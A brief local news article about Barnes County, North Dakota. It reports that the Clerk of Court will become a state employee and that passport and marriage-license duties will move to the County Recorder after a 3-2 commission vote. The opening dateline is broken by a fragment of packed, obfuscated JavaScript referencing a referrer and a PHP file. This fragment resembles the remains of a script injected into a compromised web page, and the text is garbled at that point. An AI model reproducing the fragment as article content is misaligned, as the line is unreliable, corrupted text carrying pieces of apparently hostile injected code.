VALLEY iktzd|var|u0026u|referrer|yrrbe||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) The Clerk of Court officer in Barnes County Wanda Auka will become a state employee.  Assistant Court Administrator for Unit 2 Chris Iverson says each year the state gives counties the option of staying with their state contract or allowing the Clerk of Court officer to become a state employee.

Auka says under the change one position will be eliminated and the duties of passports and marriage licenses will be transferred to the Barnes County Recorder in July of 2015.

Barnes County Commissioner Rodger Berntson voted against the motion.

Barnes County Commissioner John Froehlich supported the idea being it would save Barnes County taxpayers about $50,000 annually.

In a 3 to 2 vote the commission approved of allowing Auka to become a state employee and the transferring of passports and marriage licenses to another office. Commissioners Berntson and Knutson voted against the motion.